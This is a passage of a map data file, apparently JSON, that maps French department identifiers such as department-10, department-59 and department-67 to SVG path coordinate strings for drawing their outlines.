-2.46,0.08 -1.43,-1.87 0.29,-0.92 3.06,-1.11 0.77,-1.96 -2,-1.6 4.65,-0.07 2.85,-3.04 -0.62,0.26 -2.18,0.96 -1.62,-0.5 -2.19,-0.35 -3.93,-1.72 -3.63,-4.09 -1.91,1.44 -2.54,-0.3 -3.11,-1.76 -2.53,1.6 -2.02,-2.84 -4.2,-3.33 -1.26,-1.06 -2.94,-1.79 -1.15,-3.4 -0.57,-2.97 -1.82,-4.38 -5.07,-4.44 z","department-10":"m 415.76,157.34 c -2.6,0.51 -5.55,-0.05 -7.71,1.48 -2.64,-2.28 -2.21,2.93 -5.08,1.84 -1.93,0.67 -1.61,4.36 -4.3,3.88 -0.4,1.61 -1.36,1.64 -2.59,1.72 1.3,3.01 -1.42,4.79 -3.84,3.13 -2.09,-1.39 -6.82,1.14 -6.65,-2.55 -0.6,-0.93 -2.3,-0.55 -2.52,-2.29 -2.04,-2.28 -2.83,1.06 -4.5,1.77 -0.06,1.25 0.93,2.82 -1.41,3.08 -3.5,-1.29 1.33,2.83 -1.65,2.81 -1.9,0.54 0.78,2.64 -0.38,3.85 2.1,0.63 -0.62,5.56 2.52,3.51 3.16,-0.12 4.15,3.44 6.03,5.22 0.01,1.47 3.08,2.04 0.93,3.9 2.08,0.85 -3.12,4.07 0.15,3.27 2.29,-0.8 2.03,4.35 4.19,2.52 1.08,-0.14 0.3,-2.78 1.94,-1.13 0.93,0.76 -0.96,2.98 1.14,2.23 2.34,1.66 1.67,5.24 3.89,6.96 2.43,1.45 -2.11,1.84 0.59,3.02 0.73,-0.46 1.14,-2.22 1.92,-0.23 0.37,1.61 -1.44,4.62 1.62,3.35 1.95,0.01 2.99,-0.54 4.79,0.26 0.99,-3.03 2.57,1.82 4.01,-0.76 0.84,-1.92 1.99,-0.84 2.76,-0.15 -0.14,-1.03 0.29,-2.65 1.27,-1.4 -0.33,2.78 3.95,3.53 3.81,0.39 2.92,-0.59 5.93,0.14 8.85,-0.56 2.39,0.31 2.85,-0.77 1.49,-2.56 2.05,-2.2 4.43,-1.32 6.94,-0.84 2.63,-1.11 0.34,-3.51 -1.25,-4.11 2.37,-0.23 3.32,-3.91 6.03,-1.87 3.03,1.11 1.67,-2.97 2.47,-4.56 1.68,-1.76 -0.94,-2.47 -0.07,-3.99 1.1,-2.25 -0.53,-3.76 -1.25,-5.67 2.38,-2.25 -3.94,-1.43 -2.88,-4.17 -1.47,-0.37 -2.51,-0.25 -2.96,-1.8 0.24,-1.72 -4.18,-2.97 -1.75,-4.03 0.72,-2.19 1.43,-3.93 -1.16,-5.04 -2.33,-0.81 -3.68,3.05 -5.35,0.57 -2.15,0.43 -4.7,-0.92 -6.23,-2.52 -2.9,-1.25 -2.44,-3.78 -2.05,-6.39 -0.16,-1 -0.29,-2.51 -1.75,-2.14 z","department-51":"m 405.08,111.51 c -1.06,0.78 -0.74,4.64 -2.69,2.03 -2.26,-0.62 -3.69,-3.04 -5.85,-0.46 -0.76,1.47 -0.53,3.07 -2.6,1.59 -2.67,0.5 -5.66,1.55 -7.69,3.27 1.02,2.06 1.46,4.73 0.89,6.32 2.55,-0.42 1.18,3.01 3.85,2.11 0.48,4.28 -5.3,-0.05 -6.19,3.06 -0.39,1.65 2.79,4.09 -0.6,4.59 -2.26,3.23 5.49,0.01 3.06,3.78 -2.35,0.83 -2.21,3.44 -4.02,4.55 -0.04,2.3 -3.69,1.38 -3.38,4.24 -1.75,1.12 0.58,4.63 -2.54,3.99 -2.46,-0.16 -1.14,0.3 -0.32,1.22 0.08,0.89 -3.17,1.69 -1.26,2.59 2.53,0.21 3.88,3.9 1.46,5.7 0.25,2.2 1.1,2.12 2.94,1.45 1.92,0.52 2.98,4.27 5.46,4.81 -0.12,4.68 6.56,0.97 8.91,3.79 3.18,-0.68 -0.17,-4.93 3.46,-4.46 0.45,-2.04 3.42,-1.33 3.65,-3.97 0.75,-2.28 4.33,-0.39 4.38,-3.49 1.36,-0.34 2.79,1.39 3.81,-0.56 2.71,0.28 5.46,-1.6 7.64,0.42 0.89,2.81 -1.6,6.2 2.08,7.6 1.6,3.05 5.89,1.61 7.51,3.56 1.84,-1.76 4.32,-2.12 5.98,-0.45 1.91,-1.07 7.38,1.87 5.1,-2.02 -2.42,-2.79 6.05,-2.46 2.44,-5.4 -1.35,-0.11 -4.14,-0.27 -1.58,-1.69 1.66,-0.63 3.72,1.24 5.25,-0.9 2.3,1.31 5.6,-0.99 4.11,-3.45 -1.93,-1.13 -3.33,-3.27 -5.05,-4.35 0.2,-1.89 3.07,-2.43 1.04,-4.46 -0.24,-2.76 1.96,-3.93 4.51,-4.61 2.25,-1.35 -0.39,-2.44 -0.39,-3.09 2.85,-0.57 0.54,-4.33 -1.51,-2.09 2.09,-1.98 1.44,-5.68 -0.12,-8.2 -0.96,-1.63 -1.81,-3.48 0.73,-4.04 -0.24,-1.82 -2.4,-2.81 -3.5,-3.66 -2.15,0.23 -1.49,3.78 -3.82,1.54 -2.45,0 -5.77,-1.84 -7.92,0.23 -2.68,0.36 -2.07,-5.98 -5.47,-3.2 -2.64,0.89 -6.12,0.77 -7.24,-2.32 -2.8,0.56 -4.24,-2.36 -6.09,-4.01 -2.61,-1.4 -5.28,-1.58 -8.44,-1.57 z","department-02":"m 388.2,68.13 c -1.08,1.13 -2.82,3.24 -4.4,1.16 -2.84,-2.2 -4.67,3.68 -7.97,1.02 -2.67,-1.47 -4.82,2.26 -7.41,-0.08 -2.13,-0.29 -5.92,2.27 -2.52,2.96 -2.98,2.53 -3.74,6.36 -5.63,9.48 -1.75,0.96 2.24,2.4 -0.4,3.91 1.95,1.43 2.51,4.94 2.65,7.7 -1.5,0.24 -0.31,2.46 -1.01,3.2 2.8,2.14 0.67,5.53 0.21,7.42 1.3,1.39 -0.62,2.75 2.02,3.19 1.86,2.58 -4.01,-0.19 -2.57,2.99 0.21,2.78 -1.91,6.35 -4.84,5.03 -3.19,2.38 3.18,2.33 1.82,4.68 0.73,2 -0.93,3.6 1.68,4.15 1.16,1.34 2.5,-0.57 2.39,2.15 3.19,1.07 -5.03,3.79 0.04,3.92 2.54,0.03 3.91,4.01 2.15,5.73 2.04,1.28 3.84,3.72 5.3,5.32 1.97,-1.81 1.27,4.11 3.47,1.27 1.13,0.14 0.62,4.1 3.08,3.73 1.02,1.15 2.26,2.18 2.67,-0.16 1.3,-1.34 1.82,-3.4 3.99,-3.73 1.01,-2.49 2.46,-4.36 4.65,-6 0.1,-2.93 -6.07,0.28 -3.5,-3.33 4.06,-0.79 -1.61,-3.63 1.16,-5.63 1.74,-0.53 6.13,1.2 5.33,-1.72 -2.24,0.27 -1.72,-2.21 -3.92,-2.36 2.32,-2 -2.35,-5.73 0.53,-7.34 2.85,-0.42 5.37,-3.57 8.29,-1.65 -0.29,-1.73 3.19,-4.87 4.55,-2.85 1.43,0.76 4.63,3.46 4.24,0.06 0.75,-1.54 -0.52,-3.16 0.75,-4.21 -1.86,-2.09 0.18,-3.94 0.86,-5.41 -1.97,-0.87 0.95,-3.51 -1.67,-4.78 -1.57,-3.69 5.08,0.31 4.01,-3.96 1.21,-2.05 5.54,-3.68 5.14,-6.49 -2.5,-0.39 -0.05,-2.22 -0.82,-3.84 1.25,-2 2.5,-4.89 -0.05,-6.15 1.79,-3.26 -2.77,-4.61 -5.35,-3.57 -2.14,-1.09 -7,-0.34 -5.08,-4.21 -1.57,-0.94 -4.83,3.39 -5.36,0.08 -2.78,-0.3 -5.86,-1.9 -8.53,-1.67 z","department-59":"m 335.57,0.12 c -3.45,1.43 -6.99,2.74 -10.76,2.39 -2.72,1.29 -8.66,1.44 -9.11,3.85 2.44,2.79 3.25,6.62 4.77,9.94 0.43,4.77 5.56,3.66 8.58,4.42 2.32,1.45 -4.63,1.65 -1.51,3.98 2.44,0.67 -1.2,3.42 2.07,2.61 2.93,3.85 6.72,1.92 9.95,3.5 2.19,-0.65 4.1,-0.87 5.68,0.87 0.41,-1.85 2.1,-1.38 0.62,-3.01 2.05,-2.57 7.25,2.09 2.69,2.82 -1.83,1.68 0.07,3.54 -0.61,5.52 2.34,0.14 3.9,-1 3.93,1.59 2.5,-1.01 7,0.2 5.64,3.54 1.27,0.39 3.92,-0.75 2.32,1.89 -3.74,0.21 -4.27,4.12 -0.66,5.49 2.67,1.86 -0.52,2.17 0.31,4.28 2.66,0.03 5.42,1.44 5.6,3.59 -3.49,-0.01 -0.66,2 -1.8,3.32 -2.94,0.76 0.82,2.08 -1.93,3.52 1.19,2.22 -2.19,4.81 1.75,6.08 2.76,1.37 5.33,-1.11 8.08,0.5 2.78,-2.8 7.12,1.76 9.94,-1.66 1.88,-2.21 4.77,3.11 6.2,-0.72 3.06,-1.45 6.64,0.94 9.78,1.44 0.46,3.12 6.54,-3.53 4.81,1.34 0,2.28 5.16,2.43 7.07,2.12 1.13,-1.37 -0.83,-4.12 2.33,-4.63 2.68,-0.88 0.57,-5.07 -0.84,-5.54 -3.3,1 -0.12,-4.14 0.06,-5.58 2.39,-1.25 2.41,-3.76 -0.41,-4.14 -0.6,4.11 -2.68,-3.09 -5.06,-3.38 -1.96,-3.39 -6.66,2.37 -9.45,-1.06 -3.02,-1.09 -5.18,0.58 -6.36,2.66 -3.42,-1.36 -0.95,-6.36 -2.22,-9.19 -1.09,-3.5 -4.72,-3.12 -7.3,-3.15 1.15,-5.24 -5.66,2.5 -7.97,-1.03 -3.9,-1.63 -1.34,-6.5 -3.82,-9.41 1.83,-3.67 -3.12,-4.71 -3.84,-8.29 -2.91,-1.52 -7.12,1 -10.06,2.09 -0.33,4.97 -4.26,1.63 -6.9,0.96 -1.64,-3.04 -3.74,-6.42 -7.35,-5.98 -1.29,-2.74 -2.17,-6.28 -0.14,-8.73 -2.25,-2.77 -2.84,-5.71 -4.09,-8.81 z m 28.08,54.5 0.01,0.01 -0.01,-0.01 z","department-62":"m 313.33,5.46 c -4.94,0.63 -9.82,2.03 -14.3,4.19 -2.31,2.03 -4.44,4.39 -7.41,5.25 0.4,3 1.9,6.23 -0.01,9.07 -1.39,2.89 0.06,6.1 -0.08,9.15 0.12,1.92 1.85,2.89 0.02,4.03 0.23,3.04 -1.19,6.37 -0.33,9.17 2.74,1.63 4.65,4.95 7.93,2.3 3.81,-2.29 6.82,4.56 9.77,1.72 1.01,1.14 -1.99,2.68 0.88,2.9 2.1,1.36 5.3,1.26 4.69,4.15 0.88,1.54 2.94,0.71 3.92,1.37 1.81,-1.07 3.99,-1.33 5.74,-1.4 1.16,1.12 1.77,-0.42 1.57,-0.98 1.33,-0.36 1.77,3.47 2.74,0.75 1.51,-1.51 6.22,0.91 4.51,2.46 -2.54,0.07 -6.33,4.05 -3.27,5.63 1.73,2.15 1.55,-3.53 4.22,-2.43 1.09,-0.01 1.95,2.52 2.26,-0.06 2.83,-0.7 -0.14,2.46 2.59,2.02 1.28,-0.01 4.09,2 4.68,1.23 -1.22,-1.42 0.73,-3.47 2.15,-1.5 3.8,-0.04 -3.11,6.76 1.65,4.07 2.16,-2.39 3.64,-1.2 4.04,1.36 2.23,-1.54 4.16,-0.79 6.67,-1.69 1.7,0.68 3.25,0.84 2.92,-1.52 2.01,-0.93 -0.86,-3.26 1.69,-4.17 -3.08,-1.56 3.06,-1.88 0.19,-3.89 0.22,-1.46 4.13,-1.5 1.13,-2.69 -0.34,-2.78 -7.17,-0.62 -4.12,-4.27 0.8,-2.23 -5.36,-4.49 -3.06,-6.23 1.03,-0.79 5.01,-2.22 2.55,-3.36 -2.01,2.19 -1.83,-1.12 -1.83,-2.28 -1.69,-2.27 -3.83,-0.79 -5.87,-1.11 1.15,-3.86 -4.88,0.62 -3.97,-3.05 1.99,-1.08 -1.84,-2.64 0.61,-4.04 1.4,-1.06 3.51,-1.23 1.17,-2.9 -1.51,-1.43 -4.89,0 -2.23,1.47 -1.85,-0.59 -1.52,3.3 -3.1,0.89 -1.9,-1.78 -4.14,1.01 -6.2,-0.92 -1.66,1.28 -2.66,-1.12 -4.47,0.08 -1.69,-1.59 -4.29,-2.33 -5.63,-3.51 2,-1.35 -3.65,-3.85 0.56,-4.64 3.01,-2.03 -3.3,-1.35 -4.61,-1.78 -3.99,-1.02 -3.27,-5.59 -5.16,-8.44 -1.11,-2.34 -2,-6.31 -5.19,-6.38 z","department-08":"m 440.07,60.88 c -1.81,2.16 -4.2,3.74 -5.88,5.87 0.42,3.23 -0.62,6.85 -4.6,6.61 -2.61,1.4 -5.4,3.78 -8.53,2.23 -2.57,-0.31 -6.87,-3.07 -8.21,0.49 -1.09,2.27 2.57,2.05 1.26,4.47 -0.9,1.91 -2.03,4.96 -1.4,6.42 2.68,1.57 -1.58,4.47 -2.94,5.51 -2.03,1.01 -1.06,5.37 -4.36,3.7 -3.54,0.85 2.51,3.79 -0.29,5.51 1.51,0.87 0.58,2.56 -0.65,3.44 -0.53,1.71 1.98,3.37 -0.03,4.16 0.01,4.05 5.16,0.95 6.98,2.81 3.3,0.55 4.18,4.27 7.37,4.91 1.8,0.07 3.13,4.15 6,2.59 2.07,-0.07 4.96,-2.29 5.47,0.74 0.38,2.71 2.61,2.41 4.09,0.8 2.57,1.18 5.4,0.24 7.56,1.64 0.31,-2.7 3.11,-2.45 4.13,-0.68 1.4,-1.13 3.89,-1.64 4.64,-3.09 -2.15,-1.79 -0.62,-5.71 2.04,-5.88 0.24,-1.22 -1.21,-1.95 0.54,-2.89 0.24,-2.32 -1.77,-3.52 -2.04,-5.72 1.86,-0.63 0.83,-2.98 2.1,-3.97 -0.49,-2.87 2.16,-0.91 2.97,0.03 2.69,-1.68 3.87,3.39 6.05,0.41 0.28,-2.43 4.57,-1.6 3.3,-4.01 -0.97,-0.75 -4.08,1.55 -3.04,-1.15 1.75,-1.77 -2.34,-4.79 -3.97,-3 -1.63,-0.09 -2.52,-1.03 -3.35,-1.82 -2.04,-0.2 -1.16,-4.65 -4.28,-3.56 -2.09,-0.97 -3.75,-3.12 -6.22,-1.46 -1.91,0.12 -3.56,-0.3 -2.44,-2.42 -2.07,-2.68 2.55,-6.08 -1.42,-8.03 -4.13,-0.79 1.05,-4.77 -0.06,-7.24 0.2,-2.35 3.01,-3.4 2.16,-5.95 -1.43,-0.71 -2.14,0.48 -2.93,-1.47 z","department-55":"m 466.47,97.47 c -1.56,1.83 -3.96,2.91 -5.49,4.69 -1.73,-0.62 -3.36,-2.29 -5.13,-1.66 -3.57,-3.74 -2.07,3.57 -4.83,4.43 1.86,1.88 2.97,4.89 1.69,6.85 0.61,2.43 -4.88,3.04 -2.52,6.02 2.38,3.31 -6.19,2.92 -2.28,6.6 -4.21,1.78 0.99,5.9 0.55,8.83 -0.1,1.57 -1.24,3.24 0.94,2.92 1.75,1.64 -1.92,3.15 0.48,3.93 0.25,3.59 -6.19,2.07 -5.18,5.89 1.08,1.97 -0.23,3.47 -1.14,4.72 1.38,2.47 5.49,3.27 5.15,6.61 0.23,1.76 -1.52,5.98 0.78,6.29 1.9,-2.79 1.64,2.85 3.89,1.37 2.31,2.74 5.53,4.67 8.96,5.55 2.27,1.43 4.35,3.02 5.92,5.23 2.69,2.59 4.85,-1.27 7.77,-0.65 1.95,-0.75 1.99,-2.61 4.21,-1.43 3.14,0.06 4.5,-5.18 1.4,-6.29 -3.87,-2.46 6.35,-3.69 1.46,-4.42 -1.47,-2.21 0.74,-5.44 -1.65,-7.38 0.52,-3.01 3.49,-5.5 2.03,-8.71 1.74,-1.41 -2.37,-3.07 0.56,-4.22 1.59,-0.69 4.2,-1.75 1.55,-3.18 -1.32,-1.7 3.57,-5.15 -0.4,-5.57 1.51,-1.93 -0.24,-3.53 -1.91,-2.99 -2.09,-1.69 1.38,-6.16 -1.64,-5.8 -0.54,-2.63 -0.07,-4.79 1.7,-6.78 -2.19,-0.64 -1.63,-2.43 -1.84,-4.23 -1.39,-1.72 -2.89,-6.03 -5.8,-3.74 -2.4,-0.05 -3.98,1.51 -4.61,0.54 -0.96,-0.51 -0.02,-0.62 -1.25,-1.61 0.46,-1.47 -0.85,-2.06 -0.1,-2.7 -0.17,-2.17 1.28,-0.21 0.11,-1.81 -0.06,-2.69 -0.83,-5.88 -3.37,-7.28 z","department-54":"m 483.26,101.56 c -1.75,2.39 -6.72,-0.76 -7.03,2.38 -2.62,-1.44 -7.36,1.12 -6.17,4.43 0.74,4.88 5.26,0.58 8.1,1.48 2.96,1.01 3.57,5.58 4.1,7.38 3.12,1.31 -1.93,3.72 -0.52,5.95 -0.87,2.35 2.62,1.44 1.12,3.56 0.09,2.56 -0.17,4.4 2.68,4.39 0.95,1.44 -0.85,2.5 1.32,3.1 0.08,2.43 -2.65,4.77 0.06,6.73 -1.86,1.53 -5.42,2.68 -2.94,4.96 -0.32,3.14 0.42,6.53 -2.29,8.78 0.3,2.26 1.85,3.57 0.92,5.93 -0.21,2.42 4.1,2.54 0.74,3.73 -2.75,0.52 -2.79,3.37 -0.09,3.76 0.33,2.01 0.1,5.32 3,2.95 5.39,-1.2 1.3,5.69 5.29,7.31 -0.38,3.55 5.14,2.54 6.11,0.87 0.8,0.45 2.56,2.67 3.02,-0.32 0.4,-3.41 3.98,0.7 5.58,-2.34 2.07,-1.7 2.85,1.78 5.26,0.83 2.41,0.96 5.78,-1.97 8.72,-1.33 -0.11,-2.51 2.69,-4.44 3.49,-1.11 1.87,2.12 5.7,3.02 8.46,2.03 1.11,-2.51 3,0.55 4.43,-2.06 1.4,-3.3 8.67,-2.58 5.72,-7.33 -1.28,-1.26 -2.12,-2.52 -2.84,-3.74 -2.12,0.62 -3.12,-2.23 -5.19,-0.6 -3.43,-1.47 -6.2,-3.18 -9.79,-3.87 -0.04,-2.22 -3.9,-2.63 -5.43,-4.68 -2.97,-0.67 -5.52,-2.5 -8.38,-2.2 -1.35,-2.37 -4.49,-3.45 -2.73,-6.5 1.93,-3.82 -4.9,-3.21 -7.26,-3.68 -1.33,-1.55 -2.62,-2.04 -4.55,-3.04 0.53,-3.54 -7.57,-4.55 -4.54,-8.33 3.1,1.07 1.22,-3.19 3.24,-3.88 -1.85,-1.34 -2.22,-2.92 0.05,-3.88 0.24,-1.64 -0.87,-4.88 -1.53,-5.53 -2.45,-0.97 -0.9,-3.36 -2.63,-4.79 -0.94,-2.62 2.2,-6.94 -2.47,-7.44 -1.91,-1.02 -2.61,-3.63 -5,-3.91 z","department-57":"m 503.4,104.95 c -3.5,0.04 -5.26,4.42 -8.98,3.78 -1.89,-0.4 -2.66,-4.83 -4.84,-2.71 4.17,0.85 -0.69,5.81 2.03,8.08 0.95,1.12 1.47,1.12 0.16,1.85 2.72,1.47 3.97,5.18 2.78,8.12 -3.16,1.23 2.9,3.39 -0.76,4.28 0.68,2.17 0.05,3.22 -2.29,2.94 -2.22,3.61 4.41,3.78 4.47,6.79 0.32,2.5 4.34,1.92 4.61,4.09 2.63,0.22 7.9,-0.18 8.05,3.09 -1.51,2.09 -1.02,3.76 1.16,4.61 -0.07,2.41 2.71,3.1 4.16,2.64 2.31,1.86 5.93,1.31 7.61,4.01 3.25,1.89 6.08,3.97 9.68,5.11 1.62,1.34 4.4,1.49 5.37,1.07 1.15,1.63 4.32,0.61 3.99,3.06 2.04,2.55 6.14,5.26 8.81,1.93 1.69,-2.04 5.6,-6.38 2.03,-8.09 -0.63,-2.26 4.24,-5.88 0.71,-8.42 -2.28,-1.08 -5.5,-4.67 -6.48,-0.31 -1.32,2.17 -2.68,0.9 -2.94,-0.66 -3.5,-1.06 4.07,-2.79 -0.09,-3.01 -2.21,-1.11 -5.81,-2.3 -5.04,-4.57 1.13,0.06 2.3,-2.29 3.7,-2.54 0.74,-1.99 0.82,-7.28 3.45,-6.47 0.09,2.59 1.3,4.57 3.75,4.84 3.24,0.28 5.22,3.37 8.36,2.73 2.95,-1.6 5.64,0.34 8.22,0.72 1.73,-1.99 3.39,-5.75 3.26,-7.88 -3.15,-1.08 -5.79,-2.77 -6.37,-6.36 -2.47,-1.1 -4.98,-1.26 -6.78,1.45 -3.22,2.32 -7.72,1.44 -11.17,-0.38 -0.64,3.79 -3.96,0.62 -3.06,-1.79 -1.61,-2.56 -5.77,-3.52 -8.36,-2.33 2.56,4.39 -5.29,4.06 -5.55,1.2 0.78,-2.3 -2.24,-2.11 -2.29,-4.46 -1.24,-2.84 -6.04,-4.38 -3.87,-7.88 -2.52,-2.26 -3.82,-6.64 -8.27,-6.11 -4.17,1.53 -5.59,-3.04 -9.23,-2.45 z","department-67":"m 544.44,133.33 c -2.55,1.2 -1.86,5.34 -3.54,7.57 -2.79,-0.45 -3.98,5.32 -0.38,4.93 0.87,1.03 5.75,1.83 2.14,2.53 -1.78,1.5 1.91,2.4 0.8,3.44 3.07,0.38 2.8,-5.61 5.59,-2.68 1.27,0.5 2.75,1.06 3.36,2.31 3.21,1.88 -0.45,5.47 -1.04,7.67 0.4,1.75 3.37,1.12 1.47,2.94 -0.9,2.92 -2.34,6.34 -5.54,7.14 -1.52,-0.27 -6.22,0.31 -2.38,1.08 1.92,0.81 -2.32,1.02 0.26,2.27 -0.26,2.11 -1.22,5.21 -0.98,7.34 -1.59,2.69 3.49,1.95 4.06,2.53 1.12,2.38 5.28,1.06 5.74,4.01 2.04,-0.84 -0.91,2.57 1.9,1.72 3.01,0.58 6.32,2.58 6.2,5.56 1.67,1.12 3.39,4.4 5.2,1.29 0.87,-3.2 3.75,-5.3 4.22,-8.66 0.15,-2.7 3.74,-3.64 2.22,-6.76 -0.27,-3.01 1.17,-6.05 2.5,-8.7 1.39,-2.29 -0.7,-5.94 1.56,-8.31 1.96,-2.54 5.71,-3.61 6.25,-7.2 0.97,-1.38 2.5,-0.59 3.09,-2.39 3.71,-1.2 3.61,-5.01 5.11,-7.95 0.24,-2.03 5.28,-4.42 1.59,-4.91 -3.51,-0.14 -6.34,-2.15 -9.28,-3.81 -2.69,-1.53 -5.76,0.29 -8.43,-1.4 -2.54,1.19 -6.23,-0.86 -8.22,1.79 -0.69,2.41 -2.45,7.76 -5.69,4.83 -2.43,-2.51 -5.76,1.35 -8.43,-0.25 -1.12,-1.59 -3.01,-2.5 -4.57,-2.09 -2.06,-1.13 -5.18,-2.13 -4.56,-5.04 0.33,-0.23 0.21,-0.84 -0.21,-0.81 z","department-88":"m 543.7,170.72 c -3.31,1.38 -6.33,2.9 -8.64,5.73 -1.29,0.67 -1.97,-1.71 -3,0.67 -1.48,2.53 -4.46,-1.14 -6.53,-0.37 -3.07,0.39 -1.42,-5.29 -4.45,-2.86 -1.72,1.06 0.93,4.33 -2.07,2.2 -1.78,0.74 -4.05,0.76 -5.72,1.72 -1.57,1.83 -1.69,-1.56 -3.59,-0.23 -1.77,0.14 -2.17,-3.2 -3.48,-0.63 -1.05,2.66 -5.79,-1 -5.2,1.97 -0.89,2.75 -2.59,1.71 -3.28,0.37 -0.1,2.4 -3.59,0.58 -5.16,1.87 -1.7,-0.72 0.13,-3.65 -2.1,-3.15 -3.28,-1.76 1.05,-7.74 -3.76,-6.9 -1.91,1.57 -3.93,0.03 -4.94,2.56 -1.62,0.54 -3.6,-1.45 -4.31,0.83 -0.98,2.28 -4.98,-0.54 -5.76,2.63 -1.49,-1.12 -4.76,0.24 -4.44,1.84 2.72,-0.76 -1.5,4.16 1.48,2.83 2.58,-2.8 4.27,0.92 5.47,2.86 0.99,2.29 2.44,-0.84 3.66,1.62 0.19,1.46 -0.14,2.91 2.21,2.73 1.05,0.81 2.84,3.4 0.16,2.99 -1.16,2.1 -0.8,4.9 -2.74,6.18 0.01,1.72 3.18,0.08 3.76,2.45 2.71,0.96 3.73,3.61 3.02,6.15 1.1,2.31 3.31,-2.88 3.5,0.86 1.43,3.89 3.56,-4.88 4.18,-0.76 -1.87,1.59 0.22,2.12 0.99,0.26 2.44,-0.34 2.63,-4.83 6.01,-3.79 2.78,-2.08 1.94,3.16 3.04,3.81 1.67,1.1 3.1,2.11 4.88,0.16 2.8,0.02 6.14,-1.3 7.82,1.99 0.57,3.89 4.42,1.42 5.62,-0.82 2.89,-1.35 3.54,3.7 6.5,4.05 2.19,0.9 3.46,2.55 5.11,3.85 2.21,-0.74 5.19,-1.96 3.36,-4.73 1.56,-1.66 0.35,-4.44 1.89,-6.56 0.98,-1.7 3.7,-2.62 3.88,-5.25 1.52,-1.58 3,-3.43 1.6,-5.14 1.49,-2.96 3.07,-5.84 4.54,-8.75 0.95,-1.35 2.26,-2.99 0.28,-4.02 -1.87,1.29 -5.67,-0.97 -2.92,-2.78 -2.18,-1.78 1.85,-5.54 -0.21,-7.07 -0.57,-0.2 -0.01,-1.38 -0.66,-1.38 z","department-52":"m 446.82,158.96 c -1.69,0.91 -3.13,-0.45 -4.82,1.2 -1.12,-0.83 -4.57,-0.69 -3.54,0.9 2.8,-1.2 4.68,3.32 1.31,3.37 -2.26,0.28 -2.04,1.83 -1.08,2.97 1.74,4.14 -5.82,-1.2 -5.38,2.99 -0.5,1.16 -1.78,3.02 -1.22,3.88 2.37,0.94 2.16,4.62 5.26,4.46 -0.97,2.99 5.41,1.68 2.86,4.7 2.62,1.68 0.37,4.97 1.38,6.77 1.02,1.49 -1.35,3.52 -0.54,5.29 0.17,4.44 -5.3,-1.1 -6.39,2.93 -2.48,1.02 2.31,2.62 0.41,4.4 1.49,1.78 5.61,0.36 3.83,3.87 2.37,-0.59 4.42,1.86 1.79,3.34 0.65,2.75 2.75,-2.78 3.64,0.5 0.65,2.55 3.6,4.14 3.33,6.7 -1.31,0.89 -4.49,2.9 -1.32,2.84 1.47,1.51 -1.34,5.58 1.92,4.46 1.63,-2.16 2.42,0.63 2.94,1.7 1.79,1.42 3.81,1.4 4.82,-0.8 0.79,0.32 -0.13,2.53 1.75,2.49 0.96,1.39 3.18,1.14 1.74,3.15 0.89,2.65 3.78,-3.01 5.24,-0.13 1.75,-1.89 1.15,-6.06 4.57,-5.11 1.28,-1.4 3.49,1.3 4.33,-1.4 1.59,-1.92 1.63,2.72 3.95,1.22 2.18,-0.12 2.71,-1.17 2.09,-3.01 0.93,-1.34 1.22,-2.86 -0.38,-3.56 -0.59,-2.58 1.37,-2.98 3.06,-3.3 -0.71,-3.1 2.46,-1.42 3.57,-1.95 -0.16,-2.01 1.36,-3.53 2.99,-3.36 -0.29,-2.42 -2.17,-4.47 -4.19,-2.78 -1.26,-1.95 0.41,-5.52 -3.04,-6.35 -1,-1.34 -2.58,-2.41 -4.02,-2.13 -1.13,-1.43 1.6,-1.92 0.97,-3.42 1.1,-1.79 0.88,-4.33 2.89,-4.52 -0.46,-2.76 -4.86,-1.71 -3.68,-4.79 -1.34,-2.4 -3.06,0.93 -3.95,-2 -1.16,-2.97 -3.69,-4.38 -6.2,-2.11 -0.59,-1.91 1.12,-3.24 -1.32,-3.92 1.85,-0.41 3.47,-2.52 0.93,-3.26 -0.38,-1.87 -1.16,-2.02 -2.78,-2.58 -1.73,-3.16 -6.41,-1.82 -8.19,-4.99 -2.15,-0.46 -2.78,-2.81 -5.04,-3 -0.12,-2.21 -1.01,-1.61 -2.26,-0.66 -2.79,-0.35 1.41,-5.66 -2.22,-4.93 z","department-70":"m 499.88,202.89 c -2.63,0.3 -4.89,2.11 -5.97,4.12 -0.94,0.91 -3.97,2.32 -2.12,-0.03 0.13,-1.92 -1.88,-0.34 -1.76,0.64 -1.02,1.34 -0.98,3.88 -3.06,3.55 -0.55,1.66 -1.23,4.46 -3.43,2.67 -1.42,0.7 -1.13,3.58 -3.32,2.54 -2.26,2.15 1.83,3.96 -0.2,6.21 1.24,3.12 -4.32,4.77 -5.32,1.82 -0.58,-0.92 -2.73,2.87 -4.37,1.01 -1.22,1.14 -4.49,-0.07 -3.8,2.59 -2.11,1.09 0.1,3.94 1.06,1.41 2.21,-1.57 4.14,3.91 2.96,5.69 -0.66,2.07 -2.95,2.72 -4.23,3.24 1.21,1.06 -1.76,2.05 0.86,1.83 2.25,0.29 -0.16,6.1 3.34,4.24 1.79,2.16 -1.88,5.33 1.36,5.71 1.44,2.16 3.91,4.38 6.57,2.71 2.27,-0.86 4.59,0.16 6.71,-1.75 2.79,-1.14 5.72,-4.18 8.47,-2.76 2.5,-0.09 4.56,-1.97 5.85,-3.76 1.83,0.46 2.61,-0.36 2.86,-1.77 2.63,-0.46 5.27,-1.6 5.54,-4.7 2.29,-1.29 5.83,-3.32 7.88,-0.71 1.23,-0.95 5.65,1.5 4.64,-1.81 -0.18,-2.44 4.57,1.54 3.74,-2.01 -0.12,-2.68 3.06,0.48 4.42,0.6 2.85,1.79 2.94,-3.34 1.04,-4.6 1.68,-2.26 -0.76,-5 -0.83,-7.47 -0.79,-2.86 4.43,-4.21 1.79,-6.71 -2.08,-2.66 -6.24,-2.87 -7.71,-6.14 -2.5,-2.92 -3.93,3.02 -6.8,2.39 -1.62,-1.8 -2.57,-4.88 -5.66,-4.53 -2.96,-0.21 -6.08,3.12 -8.15,0.41 -2.4,-0.51 0.23,-4.03 -2.37,-4.63 z",
